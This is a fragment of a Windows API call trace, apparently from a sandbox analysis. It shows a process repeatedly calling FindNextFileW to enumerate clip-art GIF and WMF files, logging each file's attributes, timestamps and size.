	[0275.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1
	[0275.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1
	[0275.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1
	[0275.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1
	[0275.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1
	[0275.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1
	[0275.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1
	[0275.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1
	[0275.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1
	[0275.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1
	[0275.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1
	[0275.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1
	[0275.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1
	[0276.651] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1
	[0276.651] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1
	[0276.651] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1
	[0276.651] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1
	[0276.651] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc89dc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1
	[0276.652] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1
	[0276.653] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1
	[0276.653] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1
	[0276.653] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc89dc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc89dc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1
